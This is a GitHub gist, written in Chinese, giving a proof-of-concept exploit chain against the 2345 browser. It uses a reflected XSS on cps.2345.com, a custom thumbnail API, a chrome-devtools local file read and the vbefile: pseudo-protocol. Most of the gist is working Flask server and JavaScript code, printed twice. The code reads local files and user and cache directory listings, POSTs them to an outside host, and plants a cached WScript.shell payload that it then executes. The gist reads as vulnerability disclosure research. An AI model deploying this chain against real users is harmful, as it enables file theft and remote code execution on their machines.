Skip to content

Instantly share code, notes, and snippets.

@zhchbin

zhchbin/2345.md Secret

Last active January 23, 2019 09:50
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zhchbin/c4f7de8faf8a7cfa6c0f00191277df98 to your computer and use it in GitHub Desktop.
Save zhchbin/c4f7de8faf8a7cfa6c0f00191277df98 to your computer and use it in GitHub Desktop.
2345_poc.py

2345浏览器本地文件读取及远程命令执行

背景知识

(1)chrome-devtools本地文件读取漏洞

http://www.wooyun.org/bugs/wooyun-2010-0176314 中使用到了一个chrome-devtools的一个本地文件读取的漏洞,访问URL

chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://xxx.com/&remoteFrontend=true

就会加载并执行xxx.com下的screencast_module.js,在这个js中,有权限使用DevToolsAPI,利用向外出容器发送类型为loadNetworkResource的消息可以读取到本地文件内容。我写了一个flask程序进行验证,见测试代码。 在C盘新建一个111.txt并写入内容,运行服务器之后,在2345浏览器打开chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://127.0.0.1/file/&remoteFrontend=true。本地测试截图:

(2)WebKit系浏览器伪协议调用 在 http://www.wooyun.org/bugs/wooyun-2010-0175902 中,可以通过location.href="vbefile:/../../../已知路径/1.js"来执行本地文件1.js

一步一步构造PoC

0x00 首先我们来思考如何实现读取本地文件

要让用户自己主动打开:chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://x.xx.com/file/&remoteFrontend=true貌似不太可能,如@gainover提到的,location.href,window.open进行跳转都是会因为安全问题而被浏览器限制,比如:提示Not allowed to load local resource,或打开页面是空白等措施。

0x01 国产浏览器的毛病

在很多基于Chromium进行开发的国产浏览器中,厂商都会加入一些自己定制的API来实现一些特定的功能。在2345浏览器中,我发现一个API:chrome.ntp2345.prepareThumbnail,根据名字猜测,这个API应该是用于获取指定URL的HTML页面的截图,也就是说会先访问页面,然后渲染生成缩略图。(因为之前在一个开源项目中实现过类似功能,所以看到这个比较敏感)。进行了尝试之后,发现果然可以执行,并且服务端接收到了发送上来的文件内容,完美地绕过了安全限制!

chrome.ntp2345.prepareThumbnail('chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://127.0.0.1/file/&remoteFrontend=true')

0x02 XSS来帮忙

发现上面的API之后,我里面写了一个页面进行测试,发现还是有一定的限制,那就是这个API在非2345.com及其子域名下执行的话,会直接返回2并且不会访问制定的URL。怎么办?我们来找个XSS不就绕过了?这里有点幸运,我Google了一下site:2345.com inurl:url就找到了一个使用js进行url跳转的XSS,原理类似于@phith0n的http://wooyun.org/bugs/wooyun-2016-0179329 ,不受chrome限制的XSSAuditor一个反射型XSS。

http://cps.2345.com/go/?bid=2014060633&company_id=33&url=javascript:alert(document.domain);//

0x03 本地文件读取PoC

服务端代码:

from flask import Flask, request, Response, session

app = Flask(__name__)
app.secret_key = 'Aasdfasd123s'


@app.route('/file/xss.js', methods=['GET'])
def file_xss():
    return '''
var url = "chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://a.zhchbin.xyz/file/&remoteFrontend=true";
var d = new Date();
var url = url + '&t=' + d.getTime();
chrome.ntp2345.prepareThumbnail(url);
'''


@app.route('/file/screencast_module.js', methods=['GET'])
def file_screencast_module_js():
    content = '''
var data = "";

DevToolsAPI.streamWrite = function(id, chunk) {
  document.write("Receiving data for stream " + id + "<br>");
  data += chunk;
}

DevToolsAPI.sendMessageToEmbedder(
  "loadNetworkResource",
  [ "file:///C:/111.txt", "", 0 ],
  function (result) {
      var x=new XMLHttpRequest();x.open("POST","http://a.zhchbin.xyz/file/data",true);x.send(data);
  }
);
    '''
    resp = Response(content)
    resp.headers["Access-Control-Allow-Headers"] = "x-requested-with"
    resp.headers["Access-Control-Allow-Origin"] = "*"
    return resp


@app.route('/file/data', methods=['POST'])
def file_data():
    print request.data
    content = "OK"
    resp = Response(content)
    resp.headers["Access-Control-Allow-Headers"] = "x-requested-with"
    resp.headers["Access-Control-Allow-Origin"] = "*"
    return resp


if __name__ == "__main__":
    app.run('0.0.0.0', debug=True, port=80)

用户点击一下URL,C盘下的111.txt文件内容就被上传到了服务器上,

http://cps.2345.com/go/?bid=2014060633&company_id=33&url=javascript:s=document.createElement(%27script%27);s.src=%27//a.zhchbin.xyz/file/xss.js%27;document.body.appendChild(s);//

过程总结:cps.2345.com域名下的XSS,加载/file/xss.js,执行chrome.ntp2345.prepareThumbnail(url)访问chrome-devtools:页面,读取本地文件并上传。

0x04 我们来实现远程命令执行

原理:(1)上述的chrome-devtools本地文件读取漏洞不仅能读取文件,还能读取文件列表!(2)我们可以通过浏览器的cache机制,写入我们指定的内容到浏览器的cache目录中(3)可以利用WebKit系浏览器伪协议调用执行cache文件。

2345浏览器的默认cache目录在:C:\Users%USERNAME%\AppData\Local\2345Explorer\User Data\Default\Cache。要执行这个目录下的cache文件,我们要解决两个问题,首先是找出当前系统的用户名,第二是定位到我们的恶意cache文件。第一个问题,我们可以通过读取C:\Users这个目录下的文件列表,得到用户列表。然后针对每个用户,执行以下的操作来定位恶意cache文件:获取cache目录下的文件列表,保存在localStorage中,然后利用插入img的方式写入恶意cache文件,完成后再获取一次cache目录下的文件列表,找出第二次集合中新增加的文件,上传到服务器中,前端跳转到执行页面,指定iframe的src为vbefile:/../../../../../../../../Users/xxx/AppData/Local/2345Explorer/User Data/Default/Cache/f_xxxx,从而达到命令执行的效果。

server.py

# -*- coding: utf-8 -*-

from flask import Flask, request, Response, session

app = Flask(__name__)
app.secret_key = 'Aasdfasd123s'


@app.route('/xss.js', methods=['GET'])
def xss_js():
    return '''
var url = "chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://a.zhchbin.xyz/users/&remoteFrontend=true";
var d = new Date();
var url = url + '&t=' + d.getTime();
chrome.ntp2345.prepareThumbnail(url);
setTimeout(function() {
  location.href="http://a.zhchbin.xyz/user_pages";
}, 5000);
'''


@app.route('/<username>/xss_getcache.js', methods=['GET'])
def xss_getcache_js(username):
    return '''
var url = "chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://a.zhchbin.xyz/user/%s/&remoteFrontend=true";
var d = new Date();
var url = url + '&t=' + d.getTime();
chrome.ntp2345.prepareThumbnail(url);
''' % username


@app.route('/cache', methods=['GET'])
def js():
    content = '''var r=new ActiveXObject("WScript.shell");
r.run("calc.exe");
/*''' + 'A' * 100000 + '*/'
    resp = Response(content)
    resp.headers['Content-type'] = 'x-javascript'
    resp.headers['Pragma'] = 'public'
    resp.headers['Cache-Control'] = 'max-age=31536000'
    resp.headers['Expires'] = 'Wed, 19 Oct 2016 01:26:09 GMT'
    return resp


@app.route('/set_user', methods=['POST']) 
def set_user():
    content = "ok"
    resp = Response(content)
    resp.headers["Access-Control-Allow-Headers"] = "x-requested-with"
    resp.headers["Access-Control-Allow-Origin"] = "*"
    session['users'] = request.data
    return resp


@app.route('/user_pages', methods=['GET'])
def user_pages():
    users = session['users']
    users = users.split(',')
    content = ''
    for u in users:
        content += ('<iframe src="/user/%s"></iframe>' % (u))
    return content


@app.route('/user/<username>', methods=['GET'])
def user(username):
    url = "'http://cps.2345.com/go/?bid=2014060633&company_id=33&url=javascript:s=document.createElement(%27script%27);s.src=%27//a.zhchbin.xyz/" + username + "/xss_getcache.js%27;document.body.appendChild(s);//'"
    content = '''
<html>
<head>
<head><body>
<iframe src=%s id="ifrm"></iframe>
<script>
var stop = false;
document.getElementById('ifrm').onload = function() {
    if (stop) {
        setTimeout(function() {
            window.location.href = "/%s/exec";
        }, 5000);
        return;
    }
    setTimeout(function() {
        var img=new Image();
        img.onerror=function() {
            stop = true;
            setTimeout(function() {
                document.getElementById('ifrm').src = %s;
            }, 5000);
        };
        img.src="/cache?"+Math.random();
    }, 5000);
}
</script>
</body></html>
    ''' % (url, username, url, )
    return content


@app.route('/users/screencast_module.js', methods=['GET'])
def screencast_module():
    content = '''
var data = "";
DevToolsAPI.streamWrite = function(id, chunk) {
  document.write("Receiving data for stream " + id + "<br>");
  data += chunk;
}
function getUsers(){
  DevToolsAPI.sendMessageToEmbedder(
    "loadNetworkResource",
    [ "file:///C:/Users", "", 0 ],
    function (result) {
      var users=data.match(/<script>addRow\("([^"]+)"/g)||[];
      var currentUser=[];
      for(var i=0;i<users.length;i++){
          var user=(users[i].match(/<script>addRow\("([^"]+)"/)||["",""])[1]
          if(["..","All Users","Default","Default User","Public","UpdatusUser","desktop.ini"].indexOf(user)==-1){
              currentUser.push(user); 
          }
      }
      var x=new XMLHttpRequest();x.withCredentials=true;x.open("POST","http://a.zhchbin.xyz/set_user",true);x.send(currentUser);
    }
  );
}
getUsers();
'''
    resp = Response(content)
    resp.headers["Access-Control-Allow-Headers"] = "x-requested-with"
    resp.headers["Access-Control-Allow-Origin"] = "*"
    return resp


@app.route('/user/<username>/screencast_module.js', methods=['GET'])
def screencast_module2(username):
    content = '''
Array.prototype.diff = function(a) {
    return this.filter(function(i) {return a.indexOf(i) < 0;});
};
var data = "";
DevToolsAPI.streamWrite = function(id, chunk) {
  document.write("Receiving data for stream " + id + "<br>");
  data += chunk;
}
function getCaches(User){
	DevToolsAPI.sendMessageToEmbedder(
		"loadNetworkResource",
		[ "file:///C:/Users/"+User+"/AppData/Local/2345Explorer/User Data/Default/Cache/", "", 0 ],
		function (result) {
			var cachesData=data.match(/<script>addRow\("([^"]+)"/g)||[];
			console.log(cachesData.length);
			var caches=[];
			for(var i=0;i<cachesData.length;i++){
				var cache=(cachesData[i].match(/<script>addRow\("([^"]+)"/)||["",""])[1]
				if(cache!=".."){
					caches.push(cache); 
				}				
			}
            var key = User + '_caches';
            if (key in localStorage) {
                old_caches = localStorage[key].split(',');
                diff_caches = caches.diff(old_caches);
                var x=new XMLHttpRequest();
                x.withCredentials = true;
                x.open("POST","http://a.zhchbin.xyz/%s/set_cache",true);
                x.send(diff_caches);
                localStorage.removeItem(key);
            } else {
                localStorage[User + '_caches'] = caches;
            }
		}
	);	
}
getCaches('%s');
''' % (username, username, )
    resp = Response(content)
    resp.headers["Access-Control-Allow-Headers"] = "x-requested-with"
    resp.headers["Access-Control-Allow-Origin"] = "*"
    return resp


@app.route('/<username>/set_cache', methods=['POST'])
def set_cache(username):
    session[username + '_caches'] = request.data
    content = "OK"
    resp = Response(content)
    resp.headers["Access-Control-Allow-Headers"] = "x-requested-with"
    resp.headers["Access-Control-Allow-Origin"] = "*"
    return resp


@app.route('/<username>/exec', methods=['GET'])
def exec_calc(username):
    cache = session[username + '_caches'].split(',')
    content = ''
    for c in cache:
        content += '''<iframe src='vbefile:/../../../../../../../../Users/%s/AppData/Local/2345Explorer/User Data/Default/Cache/%s" //E:jscript //B "'></iframe>''' % (username, c)
    return content


if __name__ == "__main__":
    app.run('0.0.0.0', debug=True, port=80)

用户点击:

http://cps.2345.com/go/?bid=2014060633&company_id=33&url=javascript:s=document.createElement(%27script%27);s.src=%27//a.zhchbin.xyz/xss.js%27;document.body.appendChild(s);//

测试说明:因为请求有时序依赖,所以里面用了5000毫秒的等待时间,来确保顺序的正确性。测试时可以在修改一下里面的域名变成本地的地址,然后运行。

# -*- coding: utf-8 -*-
from flask import Flask, request, Response, session
app = Flask(__name__)
app.secret_key = 'Aasdfasd123s'
@app.route('/xss.js', methods=['GET'])
def xss_js():
return '''
var url = "chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://a.zhchbin.xyz/users/&remoteFrontend=true";
var d = new Date();
var url = url + '&t=' + d.getTime();
chrome.ntp2345.prepareThumbnail(url);
setTimeout(function() {
location.href="http://a.zhchbin.xyz/user_pages";
}, 3000);
'''
@app.route('/<username>/xss_getcache.js', methods=['GET'])
def xss_getcache_js(username):
return '''
var url = "chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://a.zhchbin.xyz/user/%s/&remoteFrontend=true";
var d = new Date();
var url = url + '&t=' + d.getTime();
chrome.ntp2345.prepareThumbnail(url);
''' % username
@app.route('/cache', methods=['GET'])
def js():
content = '''var r=new ActiveXObject("WScript.shell");
r.run("calc.exe");
/*''' + 'A' * 100000 + '*/'
resp = Response(content)
resp.headers['Content-type'] = 'x-javascript'
resp.headers['Pragma'] = 'public'
resp.headers['Cache-Control'] = 'max-age=31536000'
resp.headers['Expires'] = 'Wed, 19 Oct 2016 01:26:09 GMT'
return resp
@app.route('/set_user', methods=['POST'])
def set_user():
content = "ok"
resp = Response(content)
resp.headers["Access-Control-Allow-Headers"] = "x-requested-with"
resp.headers["Access-Control-Allow-Origin"] = "*"
session['users'] = request.data
return resp
@app.route('/user_pages', methods=['GET'])
def user_pages():
users = session['users']
users = users.split(',')
content = ''
for u in users:
content += ('<iframe src="/user/%s"></iframe>' % (u))
return content
@app.route('/user/<username>', methods=['GET'])
def user(username):
url = "'http://cps.2345.com/go/?bid=2014060633&company_id=33&url=javascript:s=document.createElement(%27script%27);s.src=%27//a.zhchbin.xyz/" + username + "/xss_getcache.js%27;document.body.appendChild(s);//'"
content = '''
<html>
<head>
<head><body>
<iframe src=%s id="ifrm"></iframe>
<script>
var stop = false;
document.getElementById('ifrm').onload = function() {
if (stop) {
setTimeout(function() {
window.location.href = "/%s/exec";
}, 3000);
return;
}
setTimeout(function() {
var img=new Image();
img.onerror=function() {
stop = true;
setTimeout(function() {
document.getElementById('ifrm').src = %s;
}, 3000);
};
img.src="/cache?"+Math.random();
}, 3000);
}
</script>
</body></html>
''' % (url, username, url, )
return content
@app.route('/users/screencast_module.js', methods=['GET'])
def screencast_module():
content = '''
var data = "";
DevToolsAPI.streamWrite = function(id, chunk) {
document.write("Receiving data for stream " + id + "<br>");
data += chunk;
}
function getUsers(){
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/Users", "", 0 ],
function (result) {
var users=data.match(/<script>addRow\("([^"]+)"/g)||[];
var currentUser=[];
for(var i=0;i<users.length;i++){
var user=(users[i].match(/<script>addRow\("([^"]+)"/)||["",""])[1]
if(["..","All Users","Default","Default User","Public","UpdatusUser","desktop.ini"].indexOf(user)==-1){
currentUser.push(user);
}
}
var x=new XMLHttpRequest();x.withCredentials=true;x.open("POST","http://a.zhchbin.xyz/set_user",true);x.send(currentUser);
}
);
}
getUsers();
'''
resp = Response(content)
resp.headers["Access-Control-Allow-Headers"] = "x-requested-with"
resp.headers["Access-Control-Allow-Origin"] = "*"
return resp
@app.route('/user/<username>/screencast_module.js', methods=['GET'])
def screencast_module2(username):
content = '''
Array.prototype.diff = function(a) {
return this.filter(function(i) {return a.indexOf(i) < 0;});
};
var data = "";
DevToolsAPI.streamWrite = function(id, chunk) {
document.write("Receiving data for stream " + id + "<br>");
data += chunk;
}
function getCaches(User){
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/Users/"+User+"/AppData/Local/2345Explorer/User Data/Default/Cache/", "", 0 ],
function (result) {
var cachesData=data.match(/<script>addRow\("([^"]+)"/g)||[];
console.log(cachesData.length);
var caches=[];
for(var i=0;i<cachesData.length;i++){
var cache=(cachesData[i].match(/<script>addRow\("([^"]+)"/)||["",""])[1]
if(cache!=".."){
caches.push(cache);
}
}
var key = User + '_caches';
if (key in localStorage) {
old_caches = localStorage[key].split(',');
diff_caches = caches.diff(old_caches);
var x=new XMLHttpRequest();
x.withCredentials = true;
x.open("POST","http://a.zhchbin.xyz/%s/set_cache",true);
x.send(diff_caches);
localStorage.removeItem(key);
} else {
localStorage[User + '_caches'] = caches;
}
}
);
}
getCaches('%s');
''' % (username, username, )
resp = Response(content)
resp.headers["Access-Control-Allow-Headers"] = "x-requested-with"
resp.headers["Access-Control-Allow-Origin"] = "*"
return resp
@app.route('/<username>/set_cache', methods=['POST'])
def set_cache(username):
session[username + '_caches'] = request.data
content = "OK"
resp = Response(content)
resp.headers["Access-Control-Allow-Headers"] = "x-requested-with"
resp.headers["Access-Control-Allow-Origin"] = "*"
return resp
@app.route('/<username>/exec', methods=['GET'])
def exec_calc(username):
cache = session[username + '_caches'].split(',')
content = ''
for c in cache:
content += '''<iframe src='vbefile:/../../../../../../../../Users/%s/AppData/Local/2345Explorer/User Data/Default/Cache/%s" //E:jscript //B "'></iframe>''' % (username, c)
return content
@app.route('/file/xss.js', methods=['GET'])
def file_xss():
return '''
var url = "chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://a.zhchbin.xyz/file/&remoteFrontend=true";
var d = new Date();
var url = url + '&t=' + d.getTime();
chrome.ntp2345.prepareThumbnail(url);
'''
@app.route('/file/screencast_module.js', methods=['GET'])
def file_screencast_module_js():
content = '''
var data = "";
DevToolsAPI.streamWrite = function(id, chunk) {
document.write("Receiving data for stream " + id + "<br>");
data += chunk;
}
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource",
[ "file:///C:/111.txt", "", 0 ],
function (result) {
var x=new XMLHttpRequest();x.open("POST","http://a.zhchbin.xyz/file/data",true);x.send(data);
}
);
'''
resp = Response(content)
resp.headers["Access-Control-Allow-Headers"] = "x-requested-with"
resp.headers["Access-Control-Allow-Origin"] = "*"
return resp
@app.route('/file/data', methods=['POST'])
def file_data():
print request.data
content = "OK"
resp = Response(content)
resp.headers["Access-Control-Allow-Headers"] = "x-requested-with"
resp.headers["Access-Control-Allow-Origin"] = "*"
return resp
if __name__ == "__main__":
app.run('0.0.0.0', debug=True, port=80)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment